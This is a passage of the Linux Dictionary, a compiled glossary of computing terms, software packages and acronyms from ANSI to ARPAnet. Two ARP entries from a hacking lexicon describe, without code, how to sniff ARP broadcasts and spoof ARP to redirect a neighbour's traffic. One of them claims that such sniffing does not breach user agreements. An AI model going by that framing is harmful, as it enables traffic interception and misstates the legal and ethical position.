1. n. [techspeak] The American National Standards Institute. ANSI, along with the International Organization for Standards (ISO), standardized the C programming language (see K&R, Classic C), and promulgates many other important software standards. 2. n. [techspeak] A terminal may be said to be `ANSI' if it meets the ANSI X3.64 standard for terminal control. Unfortunately, this standard was both over-complicated and too permissive. It has been retired and replaced by the ECMA-48 standard, which shares both flaws. 3. n. [BBS jargon] The set of screen-painting codes that most MS-DOS and Amiga computers accept. This comes from the ANSI.SYS device driver that must be loaded on an MS-DOS computer to view such codes. Unfortunately, neither DOS ANSI nor the BBS ANSIs derived from it exactly match the ANSI X3.64 terminal standard. For example, the ESC-[1m code turns on the bold highlight on large machines, but in IBM PC/MS-DOS ANSI, it turns on `intense' (bright) colors. Also, in BBS-land, the term `ANSI' is often used to imply that a particular computer uses or can emulate the IBM high-half character set from MS-DOS. Particular use depends on context. Occasionally, the vanilla ASCII character set is used with the color codes, but on BBSs,

ANSI and `IBM characters' tend to go together. From Jargon Dictionary
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ANSI C

a revision of C, adding function prototypes, structure passing, structure assignment and standardised library functions. From Linux Guide @FirstLinux
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ANSI standard

/an'see stan'd*rd/ The ANSI standard usage of `ANSI standard' refers to any practice which is typical or broadly done. It can also be applied in a jovial context in which everyone does something in the same way but it is not quite regulation. For example: ANSI standard shaking of a laser printer cartridge to get extra life from it, or the ANSI standard word tripling in names of usenet alt groups. Apache

Apache is the leading internet web server, with over 60% market share, according to the Netcraft survey. Several key factors have contributed to Apache's success: The Apache license. It is an open source, BSD-like license that allows for both commercial and non-commercial uses of Apache. Talented community of developers with a variety of backgrounds and an open development process based on technical merits. Modular architecture. Apache users can easily add functionality or tailor Apache to their specific environment. Portable: Apache runs on nearly all flavors of Unix (and Linux), Windows, BeOs, mainframes... Robustness and security. Many commercial vendors have adopted Apache-based solutions for their products, including Oracle, Red Hat and IBM. In addition, Covalent provides add-on modules and 24x7 support for Apache. The following websites use Apache or derivatives. Chances are that if Apache is good enough for them, it is also good enough for you. Amazon.com Yahoo! W3 Consortium Financial Times Network solutions MP3.com Stanford From the Apache website: The Apache Project is a collaborative software development effort aimed at creating a robust, commercial-grade, featureful, and freely-available source code implementation of an HTTP (Web) server. The Apache project has grown beyond building just a web server into other critical server side technologies like Java or XML. The Apache Software Foundation, described in the next section, serves as an umbrella for these projects. From Apache Overview HOWTO <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

apache

Versatile, high-performance HTTP server The most popular server in the world, Apache features a modular design and supports dynamic selection of extension modules at runtime. Some of its strong points are its range of possible customization, dynamic adjustment of the number of server processes, and a whole range of available modules including many authentication mechanisms, server-parsed HTML, server-side includes, access control, CERN httpd metafiles emulation, proxy caching, etc. Apache also supports multiple virtual hosting. Separate Debian packages are available for PHP3, mod_perl, Java Servlet support, Apache-SSL, and other common extensions. More information is available at <http://www.apache.org/>. apcalc

Linux Dictionary

Arbitrary precision calculator (original name: calc) Calc is an arbitrary precision arithmetic system that uses a C-like language. Calc is useful as a calculator, an algorithm prototyper and as a mathematical research tool. More importantly, calc provides one with a machine independent means of computation. Calc comes with a rich set of builtin mathematical and programmatic functions. Calc is built on top of the library libcalc that represents numeric values as fractions reduced to their lowest terms. This library can also be used to add arbitrary precision capabilities to your own programs and is available in the Debian package `apcalc-dev'. The original name of this package is `calc', but it had to be changed to `apcalc' for Debian, because there's already another package called `calc' in Debian. Nevertheless, the binary and manpage installed by this package are still named `calc'. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

apcd

APC Smart UPS daemon This daemon monitors an APC UPS either as master, with the serial cable attached to it, or as a slave, with a network connection to the master. The daemon constantly gathers information from the UPS (battery load, Temperature, workload, etc.) and logs them to a file. It shuts down the system cleanly after a certain period of constant power failure or if the battery load falls below a certain level. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

APCUG

Association of Personal Computer User Groups (org.) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

apcupsd

APC UPS Power Management Controls / monitors the status of an APC UPS under Linux. Allows your computer or server to run for a specified length of time on UPS power, and then executes a controlled shutdown in the case of an extended power failure. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

apg

Automated Password Generator – Standalone version APG (Automated Password Generator) is the tool set for random password generation. It generates some random words of required type and prints them to standard output. This binary package contains only the standalone version of apg. This is the first version that can be compiled without SHA, which `_should_` make it ok for main. This upload went to non-US nevertheless because I want to have a second opinion. Advantages: * Built-in ANSI X9.17 RNG (Random Number Generator)(CAST/SHA1) * Built-in password quality checking system (now it has support for Bloom filter for faster access —[BETA]—) * Two Password Generation Algorithms: 1. Pronounceable Password Generation Algorithm (according to NIST FIPS 181) 2. Random Character Password Generation Algorithm with 35 configurable modes of operation * Configurable password length parameters * Configurable amount of generated passwords * Ability to initialize RNG with user string * Support for `/dev/random` * Ability to `crypt()` generated passwords and print them as additional output. * Special parameters to use APG in script * Ability to log password generation requests for network version * Ability to control APG service access using `tcpd` * Ability to use password generation service from any type of box (Mac, WinXX, etc.) that connected to network * Ability to enforce remote users to use only allowed type of password generation The client/server version of apg has been deliberately omitted. From Debian 3.0r0 APT

APM

Advanced Power Management From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

APM (Advanced Power Management)

An industry standard for allowing the system processor and various components to enter power-saving modes, including suspend, sleep and off. APM software is especially important for mobile devices, because it saves battery power. From I-gloss
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

apmd

APMD is a set of programs for controlling the Advanced Power Management daemon and utilities found in most modern laptop computers. APMD can watch your notebook's battery and warn users when the battery is low. APMD is also capable of shutting down the PCMCIA sockets before a suspend. Install the apmd package if you need to control the APM system on your laptop. From Mandrake 9.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

apmd

Utilities for Advanced Power Management (APM) On laptop computers, the Advanced Power Management (APM) support provides access to battery status information and may help you to conserve battery power, depending on your laptop and the APM implementation. The apmd program also lets you run arbitrary programs when APM events happen (for example, you can eject PCMCIA devices when you suspend, or change hard drive timeouts when you connect the battery). This package contains apmd(8), a daemon for logging and acting on APM events; and apm(1), a client that prints the information in /proc/apm in a readable format. apmd is notified of APM events by the APM driver in the kernel. Recent Debian kernels are built with APM support but it is disabled by default. You need to boot the kernel with the "apm=on" option if you want to enable the driver. (You may need to add this option to your lilo command line.) From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

app

/ap/ n. Short for 'application program', as opposed to a systems program. Apps are what systems vendors are forever chasing developers to create for their environments so they can sell more boxes. Hackers tend not to think of the things they themselves run as apps; thus, in hacker parlance the term excludes compilers, program editors, games, and messaging systems, though a user would consider all those to be apps. (Broadly, an app is often a self-contained environment for performing some well-defined task such as 'word processing'; hackers tend to prefer more general-purpose tools.) See killer app; oppose tool, operating system. From Jargon Dictionary
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

append

To place after, or at the end of, a character, a line, or a file. In the vi editor, certain commands let you append text in a document. In the Bourne and C shells, the symbol >> allows you to append output to an existing file (or create a new file if the file does not yet exist). From Linux Guide @FirstLinux
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

append mode

In vi, the mode that allows you to type new text after existing text in a file; terminate this mode by pressing ESC. From Linux Guide @FirstLinux
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Append Symbol

The > keyboard character, repeated (i.e., >>). It is often used to send the output from a command to a text file, appending the data to the end of the file, rather than replacing the existing content. For example, ls -a >> output.txt sends the current directory list to a file called output.txt, and adds it to the end of the file. Repeating the command will continue to add new data to the end of the file. (Also, see Piping Symbol and Redirection Symbol.) From I-gloss
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

APPI

Advanced Peer to Peer Internetworking (Cisco) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

apple2

Apple][Emulator This is a fully-functional 100% Apple][emulator for the Linux console. It is partly written in 386 (AT&T) assembler and partly in C. You can switch diskettes using a diskette database through an intuitive interface. Furthermore, it is possible to trim the speed of the emulator and it runs in full speed (approximately) twice as fast as an standard Apple II+ on a 486DX-50. It uses the svgalib's key scancodes and implements the undocumented 6502 instructions (required by at least two games: Bug Attack and MS Pacman). Because the Apple ROMs are copyrighted, they are not included here. You will have to make copies of them from your old Apple computer. If you don't want to mess around with this, you can find a copy at:
http://geta.life.uiuc.edu/~badger/files/apple_II.rom <http://geta.life.uiuc.edu/~badger/files/slot6.rom>
Transferring your old Apple disks is a bit of work, but you can save yourself the trouble of digging up your old masters by seeing if some kind soul has already done the work for you at:
ftp://ftp.apple.asimov.net/pub/apple_II/images/ Remember, you can only use these ROMs and images _legally_ if you already own the original. Have fun! (Ahhh.... What memories!) From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

applet

A small application, usually a utility or other simple program, that can be executed on a graphical desktop panel. From Redhat-9-Glossary

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Applet

A small Java program that can be embedded in an HTML page. Applets differ from full-fledged Java applications in that they are not allowed to access certain resources on the local computer, such as files and serial devices (modems, printers, etc.), and are prohibited from communicating with most other computers across a network. The common rule is that an applet can only make an Internet connection to the computer from which the applet was sent. From Matisse

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Application Program Interface (API)

System software that provides a complete set of functions and resources on which programmers can draw to create interface features, such as pull down menus, command names, dialog boxes, keyboard commands, and windows. In network systems, an API establishes how programs use various network features. From QUECID <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

APT package handling utility – cache manipulator From `whatis`
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

apt-cdrom

APT CDROM management utility From `whatis`
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

apt-config

APT Configuration Query program From `whatis`
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

apt-dpkg-ref

APT, `Dpkg` Quick Reference sheet A quick lookup chart with various APT and `dpkg` options for handy reference, for those who haven't quite memorized the most commonly used commands. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

apt-extracttemplates

Utility to extract DebConf config and templates from Debian packages From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

apt-file

APT package searching utility -- command-line interface apt-file is a command line tool for searching packages for the APT packaging system. Unlike apt-cache, you can search in which package a file is included or list the contents of a package without installing or fetching it. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

apt-ftparchive

Utility to generate index files From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

apt-get

APT package handling utility - command-line interface From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

apt-listchanges

Display new Debian changelog entries from .deb archives apt-listchanges is a tool to show what has been changed in a new version of a Debian package, as compared to the version currently installed on the system. It does this by extracting the relevant entries from the Debian changelog file, usually found in /usr/share/doc/package/changelog.Debian.gz It can be run on several .deb archives at a time to get a list of all of the changes that would be effected by installing or upgrading a group of packages. It can be configured to do this automatically during upgrades using apt. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

apt-move

Move cache of Debian packages into a mirror hierarchy apt-move is used to move a collection of Debian package files into a proper archive hierarchy of the form debian/dists/... It is intended as a tool to help manage the apt-get(8) file cache, but could be configured to work with any collection of Debian packages. Running apt-move periodically will assist in managing the resulting partial mirror by optionally removing obsolete packages, and creating valid local Packages.gz files. It can also optionally employ rsync(1) to build a partial or complete local mirror of a Debian binary distribution (including an ``installed-packages only" mirror). From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

apt-proxy

Debian archive proxy and partial mirror builder apt-proxy automatically builds a Debian HTTP mirror based on requests which pass through the proxy. It's great for multiple Debian machines on the same network with a slower internet link. The archive is automatically kept up to date using http, ftp or rsync. Cache cleaning of unused and old versions is configurable. You can also import the contents of your apt cache into the archive using apt-proxy-import. For more information, see the apt-proxy homepage at <http://apt-proxy.sourceforge.net> The suggested packages are needed for the following features: wget for http/ftp backend support, rsync for rsyncd backends, dpkg-dev for apt-proxy-import and stat for improved apt-proxy performance. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

apt-setup

add apt download sources From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

apt-show-source

Shows source-package information This program parses the APT lists for source packages and the dpkg status file and then lists every package with a different version number than the one installed. It's very useful if your deb-src sources.list entries point to unstable and your deb entries point to stable. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

apt-show-versions

Lists available package versions with distribution apt-show-versions parses the dpkg status file and the APT lists for the installed and available package versions and distribution and shows upgrade

options within the specific distribution of the selected package. This is really useful if you have a mixed stable/testing environment and want to list all packages which are from testing and can be upgraded in testing. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

apt-sortpkgs

Utility to sort package index files From whatis

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

apt-spy

writes a sources.list file based on bandwidth tests. Downloads from debian.org a list of current mirrors and tests each of the mirrors for bandwidth. Writes a /etc/apt/sources.list file based on the responses it gets. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

apt-utils

APT utility programs This package contains some infrequently used APT utility programs such as apt-ftparchive, apt-sortpkgs and apt-extracttemplates. apt-extracttemplates is used by debconf to prompt for configuration questions before installation. apt-ftparchive is used to create Package and other index files. apt-sortpkgs is a Package/Source file normalizer. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

apt-zip

Update a non-networked computer using apt and removable media These scripts simplify the process of using dselect and apt on a non-networked Debian box, using removable media like ZIP floppies. One generates a 'fetch' script (supporting backends such as wget and lftp, in a modular, extensible way) to be run on a host with better connectivity, check space constraints of your removable media, and then install the package on your Debian box. Note on current version: space-checking is not done and spanning multiple disks is not yet supported. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

APTC

Advanced Processor Temperature Control (Chaintech) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

aptitude

curses-based apt frontend aptitude is a curses-based apt frontend with a number of useful extended features, including: a mutt-like syntax for matching packages in a flexible manner, dselect-like persistence of user actions, the ability to retrieve and display the Debian changelog of most packages, and extreme flexibility and customization. aptitude is also Y2K-compliant, non-fattening, naturally cleansing, and housebroken. From Debian 3.0r0 APT

arbor-text-catalog

Catalog support classes and parsing tools These Java classes implement the OASIS Entity Management Catalog format for resolving XML public identifiers into accessible files or resources on a user's system or throughout the Web. These definitions can easily be incorporated into most Java-based XML processors, thereby giving the users of these processors all the benefits of public identifier use. Two sample applications for parsing catalogs and resolving entities are included. Related tools that provide catalog support for the Saxon and XT xslt processors are available in the saxon-catalog and xt-catalog packages. Author: Norman Walsh <ndw@nwalsh.com> Homepage: http://www.arbor-text.com/customer_support/updates_and_technical_notes/catalogs/docs/README.htm From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

arch

print machine architecture From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

arch

revision control system arch is a revision control system with features that are ideal for projects characterized by widely distributed development, concurrent support of multiple releases, and substantial amounts of development on branches. It is intended to replace CVS and corrects many mis-features of that system. Highlights: – distributed databases – fancy merging – renames handling

– web interface From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Arch Linux

Arch Linux is an i686-optimized Linux distribution. It is lightweight and contains the latest stable versions of software. Packages are in .tar.gz format and are tracked by a package manager that is designed to allow easy package upgrades. Arch is designed to be streamlined while allowing for a customized configuration, with newer features such as reiserfs/ext3 and devfs. The initial version, 0.1, was released March 11, 2002. Arch 0.4 (Dragon) was released December 18, 2002. Arch Linux released Pacman 2.1 (package manager) on August 22, 2002. From LWN Distribution List <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Archie

A tool (software) for finding files stored on anonymous FTP sites. You need to know the exact file name or a substring of it. By 1999 Archie had been almost completely replaced by web-based search engines. Back when FTP was the main way people moved files over the Internet archie was quite popular. From Matisse <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

architecture

The design, 0, and integration of components within a computer system, primarily determined by the central processing unit that the system employs. From Redhat-9-Glossary <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Archive

A single large file containing multiple files, usually compressed to save storage space. Often created to facilitate transferring between computers. Popular archival formats include ARJ, TAR, ZIP and ZOO. Also, to create such an archive file. From I-gloss <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

archive

To collect files into one large file for storage or backup purposes. Archives are often used for the purpose of saving disk space. From Redhat-9-Glossary <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

archivemail

archive and compress your old email Archivemail moves old mail out of a mailbox (in Maildir, MH, or mbox-format) and archives it in a compressed mbox-format mailbox file. It is well suited to be run from cron for automatic archiving of your old mail. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ARCNET

Attached Resource Computer NETwork (Datapoint), "ARCnet" From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ARE

All Routes Explorer (ATM) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

arena

n. [common; Unix] The area of memory attached to a process by brk(2) and sbrk(2) and used by malloc(3) as dynamic storage. So named from a malloc: corrupt arena message emitted when some early versions detected an impossible value in the free block list. See overrun screw, aliasing bug, memory leak, memory smash, smash the stack. From Jargon Dictionary <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

AREXX

Amiga Restructured EXTended eXecutor [language] (Amiga, Commodore, REXX) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

arg

/arg/ n. Abbreviation for 'argument' (to a function), used so often as to have become a new word (like 'piano' from 'pianoforte'). "The sine function takes 1 arg, but the arc-tangent function can take either 1 or 2 args." Compare param, parm, var. From Jargon Dictionary

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

argante

A new virtual operating system A new Polish (complete!) virtual operating system – written to be secure and stable – and, by the way, very efficient. Argante supports Hierarchical Access Control (HAC) and OSI architecture and also DISTRIBUTED NETWORKING. So every software written for Argante can be divided into some parts, each of them running on different computer (the software is platform independent, so one of modules can run on Linux, the other one – on FreeBSD, NetBSD, OpenBSD, SunOS/Solaris or IRIX). Compiled without SSL support because of restrictions in some countries – but you can use ssh tunnelling to get secure rIPC connections. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

argument

a mathematical term that refers to a number, character or word which changes the action of the command it is applied to. From Linux Guide @FirstLinux
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Argument

Words, phrases or numbers that you enter on the same command line as a command or a statement to expand or modify how that command or statement operates. From QUECID
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

argus-client

IP network transaction auditing tool argus is a network transaction auditing tool that allows the user to easily classify connections using tcpdump(1) compliant expressions. Argus runs as an application level daemon, promiscuously reading network datagrams from a specified interface, and generates network traffic audit records for the network activity that it encounters. Auditing records can be used to ensure that access control policies are being enforced, identify network problems such as denial of service attacks and more. This package contains the client programs for the argus server. Please see the package argus-server for the appropriate server. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

argus-server

IP network transaction auditing tool argus is a network transaction auditing tool that allows the user to easily classify connections using tcpdump(1) compliant expressions. Argus runs as an application level daemon, promiscuously reading network datagrams from a specified interface, and generates network traffic audit records for the network activity that it encounters. Auditing records can be used to ensure that access control policies are being enforced, identify network problems such as denial of service attacks and more. This package contains the binaries required for the argus server. Please see the package argus-client for appropriate clients. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ari-yahoo

Text based simple Yahoo Messenger client Simple Yahoo messenger client that requires no windowing system. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

aria

a download tool similar to Reget or GetRight Aria is a download tool similar to Reget or GetRight. It downloads files from Internet via HTTP or FTP. The transfer can be paused, resumed, queued and saved. It has very friendly GTK based GUI, and useful log consoles. Program supports CRC checking, HTTP proxy server, cut-and-paste, drag-and-drop, and can define specific file retrieving procedure for particular web servers. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

aribas

interpreter for arithmetic ARIBAS is an interactive interpreter suitable for big integer arithmetic and multiprecision floating point arithmetic. It has a syntax similar to Pascal or Modula-2, but contains also features from other programming languages like C, Lisp, Oberon. The Aribas home page is

<http://www.mathematik.uni-muenchen.de/~forster/sw/aribas.html> From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ARIN

American Registry for Internet Numbers (org., Internet, USA) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

aris-extractor

Scan system logs for security incidents and report them to ARIS The Attack Registry and Intelligence Service (ARIS) is a free, user-integrated attack-trending system hosted by SecurityFocus that allows administrators and operators of Intrusion Detection Systems (IDSs) to track, evaluate and respond to security alerts and attacks in a proactive manner. As an integral piece of the ARIS Analyzer service, SecurityFocus's open-source ARIS Extractor utility distills data provided by IDS attack-list logs to build client portfolios that provide meaningful, graphical analysis of potentially malicious network incidents. By filtering out insignificant or benign data and converting it to a common format (xml), ARIS Extractor streamlines incident reporting for both security professionals and home users in a way that allows IDS operators to focus only on relevant attacks and incidents. Additionally, ARIS Extractor ensures client confidentiality through secure file-transfer protocols and optional IP address suppression. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ARJ

A popular file compression/archival tool, available for UNIX/Linux, DOS/Windows, and other operating systems. Files compressed in this manner typically have .arj or .ar extensions. From I-gloss
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ark

An archiver for KDE An archiver for KDE Supports: zip, tar, tar + compression (lzop, gzip, bzip2, bzip, compress) lha, zoo, rar, ar, etc... From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ark

Ark is a KDE tool for handling archive files. It supports the following file formats: zip, plain tar and tar with compression, gzip, bzip2, bzip, compress, lha, zoo, single files compressed with compressors, lzop, gzip, bzip2, bzip, compress rar and ar From Redhat 8.0 RPM
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ark

KDE archive tool. From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Ark Linux

Ark Linux is a Linux distribution designed especially for desktop use, primarily for people without prior Linux experience. Its main goal is ease of use, and the inclusion of many tools end users will need. Ark Linux is based on Red Hat 7.3 / 8.0, with KDE. Initial Freshmeat version 1.0-0.alpha7.1 was released March 14, 2003. From LWN Distribution List
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ARKD

Abuse Resistant Key Distribution (Arcade) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ARL

Access Rights List (Banyan, VINES) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

arla

A free client for the AFS distributed network filesystem This is a free, mostly independently written, implementation of the client side of the Andrew File System. AFS is a distributed network file system. AFS presents a unified directory hierarchy /afs containing all volumes from any site. The default configuration includes many sites including KTH, MIT, CMU and others. For authentication AFS uses Kerberos. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

arla-modules-source

Source to generate arla-modules This package provides the source code xfs kernel module which is actually a generic user-space filesystem interface. Arlad communicates with it over a character device and handles all file system requests. Xfs caches some lookups but doesn't implement any of the AFS protocol. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ARLL

Advanced Run-Length Limited [encoding] From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ARM

Advanced RISC Machines (manufacturer, Acorn, Apple, VLSI, RISC) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ARM

Annotated [c++] Reference Manual From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ARM

Asynchronous Response Mode From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ARM Linux

ARM Linux is a port of the Linux Operating System to ARM processor based machines mainly by Russell King with contributions from others. From LWN Distribution List
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ARMA

Association of Records Managers and Administrators, inc. (org.) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

armagetron

A 3D Tron-like high speed game. A 3D Tron-like high speed game. The rules are simple: you ride a light cycle (a kind of motorbike that can only turn 90 degrees at a time, leaves a wall behind and cannot be stopped) and have to avoid running into walls while at the same time you have to try to get your opponent to run into them. The idea is based on the Disney movie from 1982 called "Tron". If you ever wanted to take a try at one of those speed demons features in the movie, this is your chance. Of all the Tron clones out there, I think one is the one that comes closest to the feeling the movie tries to express. This is in part thanks to the sophisticated camera motions, in part to the superb modelling work and in part to the fabulous sound effects. To add some extra fascination into the game, unlike to other Tron clones, in armagetron you can accelerate. Alas, there's no accelerate button. If you want to drive fast, you have to drive good --- and really really close to the walls. Armagetron can be played against AI opponents, against other humans over the network, or a mixture of both. Still not convinced? <http://pluto.spaceports.com/~zman/armagetron/> From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ARMM

n. [acronym, `Automated Retroactive Minimal Moderation'] A Usenet cancelbot created by Dick Depew of Munroe Falls, Ohio. ARMM was intended to automatically cancel posts from anonymous-posting sites. Unfortunately, the robot's recognizer for anonymous postings triggered on its own automatically-generated control messages! Transformed by this stroke of programming ineptitude into a monster of Frankensteinian proportions, it broke loose on the night of March 31, 1993 and proceeded to spam news.admin.policy with a recursive explosion of over 200 messages. ARMM's bug produced a recursive cascade of messages each of which mechanically added text to the ID and Subject and some other headers of its parent. This produced a flood of messages in which each header took up several screens and each message ID and subject line got longer and longer and longer. Reactions varied from amusement to outrage. The pathological messages crashed at least one mail system, and upset people paying line charges for their Usenet feeds. One poster described the ARMM debacle as "instant Usenet history" (also establishing the term despew), and it has since been

widely cited as a cautionary example of the havoc the combination of good intentions and incompetence can wreak on a network. Compare Great Worm; sorcerer's apprentice mode. See also software laser, network meltdown. From Jargon Dictionary
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ARMS

Architecture for Reliable Managed Storage (Cheyenne) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

AROM

Alterable Read Only Memory (ROM) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ARP

a TCP/IP protocol used to obtain a station's physical address from its logical IP address. ARP requests are broadcast onto the network. From Linux Guide @FirstLinux
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ARP

Address Resolution Protocol (Internet, RFC 826) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ARP

ARP is a protocol used with TCP/IP to resolve addresses. The TCP/IP stack used to transmit data across the Internet is independent from the Ethernet used to shuttle data between local machines. Thus, when machine needs to send an IP packet to a nearby machine, it broadcasts the IP address on the local Ethernet asking for the corresponding Ethernet address. The machine who owns the address responds, at which point the IP packet in question is sent to that Ethernet address. Key point: By sniffing ARP packets off the wire, you can discover a lot of stuff going on. This is especially true of cable-modem and DSL segments. Since ARP packets are broadcasts, you aren't technically breaking your user's agreement by sniffing. Key point: You can spoof ARP requests and/or responses in order to redirect traffic through your machine. From Hacking-Lexicon
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

arp

Linux ARP kernel module. From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

arp

manipulate the system ARP cache From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ARP redirect

A tool that is part of the standard hacker's toolkit, ARP redirect will redirect Internet traffic from a local neighbor through your own machine allowing you to sniff it. From Hacking-Lexicon
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ARPA

Advanced Research Projects Agency (org., USA) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

arpak++

object-oriented version of the ARPACK package. ARPACK++ is an object-oriented version of the ARPACK package. It consists a collection of classes that offers c++ programmers an interface to ARPACK. It preserves the full capability, performance, accuracy and low memory requirements of the FORTRAN package, but takes advantage of the c++ object-oriented programming environment. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

arpack2

Fortran77 subroutines to solve large scale eigenvalue problems. ARPACK software is capable of solving large scale symmetric, nonsymmetric, and generalized eigenproblems from significant application areas. The software is designed to compute a few (k) eigenvalues with user specified features such as those of largest real part or largest magnitude. Storage requirements are on the order of $n*k$ locations. No auxiliary storage is required. A set of Schur basis vectors for the desired k-dimensional eigen-space is computed which is numerically orthogonal to working precision. Numerically accurate eigenvectors are available on request. Important Features:

- o Reverse Communication Interface.
- o Single and Double Precision Real Arithmetic Versions for Symmetric, Non-symmetric,
- o Standard or Generalized Problems.
- o Single and Double Precision Complex Arithmetic Versions for Standard or Generalized Problems.
- o Routines for Banded Matrices – Standard or Generalized Problems.
- o Routines for The Singular Value Decomposition.
- o Example driver routines that may be used as templates to implement numerous Shift-Invert strategies for all problem types, data types and precision.

From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ARPAnet

